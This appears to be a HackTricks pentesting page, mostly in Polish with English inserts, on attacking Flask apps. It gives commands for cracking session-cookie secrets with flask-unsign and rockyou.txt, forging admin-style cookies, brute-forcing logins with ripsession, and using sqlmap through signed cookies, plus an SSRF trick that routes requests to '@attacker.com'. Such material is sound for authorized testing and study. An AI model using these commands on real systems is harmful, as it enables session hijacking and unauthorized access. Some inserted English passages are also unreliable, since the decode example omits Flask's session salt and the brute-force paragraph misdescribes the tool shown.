9.8 KiB
Flask
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Prawdopodobnie, jeśli grasz w CTF, aplikacja Flask będzie związana z SSTI.
Ciasteczka (Cookies)
Domyślna nazwa sesji ciasteczka to session
.
Dekoder
Onlineowy dekoder ciasteczek Flask: https://www.kirsle.net/wizards/flask-session.cgi
Ręczny
Pobierz pierwszą część ciasteczka do pierwszej kropki i zdekoduj Base64>
echo "ImhlbGxvIg" | base64 -d
Ciasteczko jest również podpisane za pomocą hasła
Flask-Unsign
Narzędzie wiersza poleceń do pobierania, dekodowania, prób łamania i tworzenia ciasteczek sesji aplikacji Flask przez zgadywanie kluczy tajnych.
{% embed url="https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
Dekodowanie ciasteczka
To decode a Flask cookie, you can use the itsdangerous
library, which is included in Flask. The itsdangerous
library provides a URLSafeTimedSerializer
class that can be used to decode and verify the integrity of the cookie.
from itsdangerous import URLSafeTimedSerializer
def decode_cookie(cookie_value, secret_key):
serializer = URLSafeTimedSerializer(secret_key)
try:
decoded_data = serializer.loads(cookie_value)
return decoded_data
except Exception as e:
return None
In the code above, the decode_cookie
function takes two parameters: cookie_value
and secret_key
. The cookie_value
parameter is the value of the cookie that you want to decode, and the secret_key
parameter is the secret key used to sign the cookie.
The function creates an instance of the URLSafeTimedSerializer
class with the provided secret_key
. It then attempts to decode the cookie_value
using the loads
method of the serializer. If the decoding is successful, the decoded data is returned. If an exception occurs during the decoding process, None
is returned.
Keep in mind that decoding a cookie does not necessarily mean that you can modify its contents. The itsdangerous
library also verifies the integrity of the cookie, so if the cookie has been tampered with, the decoding process will fail.
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Atak Brute Force
Brute Force to technika polegająca na próbie odgadnięcia hasła lub klucza, poprzez wypróbowanie wszystkich możliwych kombinacji. W przypadku aplikacji Flask, atak Brute Force może być stosowany do próby odgadnięcia hasła administratora lub innych poufnych informacji. Aby przeprowadzić atak Brute Force na aplikację Flask, można użyć narzędzi takich jak Hydra lub Burp Suite.
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Podpisywanie
Flask provides a built-in mechanism for signing data to ensure its integrity and authenticity. This can be useful in scenarios where you want to verify that the data has not been tampered with.
Flask uses a secret key to sign the data. This secret key should be kept secure and should not be shared with anyone. It is recommended to store the secret key in an environment variable or a configuration file.
To sign data in Flask, you can use the itsdangerous
module, which is included with Flask. This module provides the URLSafeSerializer
class, which can be used to sign and verify data.
Here is an example of how to sign data using Flask:
from flask import Flask
from itsdangerous import URLSafeSerializer
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
@app.route('/')
def index():
s = URLSafeSerializer(app.config['SECRET_KEY'])
data = {'username': 'john', 'admin': False}
signed_data = s.dumps(data)
return signed_data
if __name__ == '__main__':
app.run()
In this example, we create an instance of the URLSafeSerializer
class with the secret key from the Flask app's configuration. We then use the dumps()
method to sign the data and return the signed data.
To verify the signed data, you can use the loads()
method of the URLSafeSerializer
class. Here is an example:
from flask import Flask
from itsdangerous import URLSafeSerializer, BadSignature
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
@app.route('/')
def index():
s = URLSafeSerializer(app.config['SECRET_KEY'])
signed_data = 'eyJ1c2VybmFtZSI6ICJqb2huIiwgImFkbWluIjogRmFsc2V9.XXX'
try:
data = s.loads(signed_data)
return str(data)
except BadSignature:
return 'Invalid signature'
if __name__ == '__main__':
app.run()
In this example, we use the loads()
method to verify the signed data. If the signature is valid, the original data is returned. If the signature is invalid, a BadSignature
exception is raised.
By using the signing mechanism provided by Flask, you can ensure the integrity and authenticity of your data, helping to prevent tampering and unauthorized access.
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Podpisywanie za pomocą starszych wersji
To jest metoda podpisywania, która jest stosowana w starszych wersjach.
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Narzędzie wiersza poleceń do brute-force'owania stron internetowych przy użyciu ciasteczek stworzonych za pomocą flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi w ciasteczku sesji Flask z użyciem SQLmap
Ten przykład wykorzystuje opcję eval
w sqlmap do automatycznego podpisywania ładunków sqlmap dla Flaska przy użyciu znanego sekretu.
Proxy Flask do SSRF
W tym artykule wyjaśnione jest, jak Flask pozwala na żądanie rozpoczynające się od znaku "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
W przypadku następującego scenariusza:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Można pozwolić na wprowadzenie czegoś takiego jak "@attacker.com", aby spowodować SSRF.
Użyj Trickest, aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.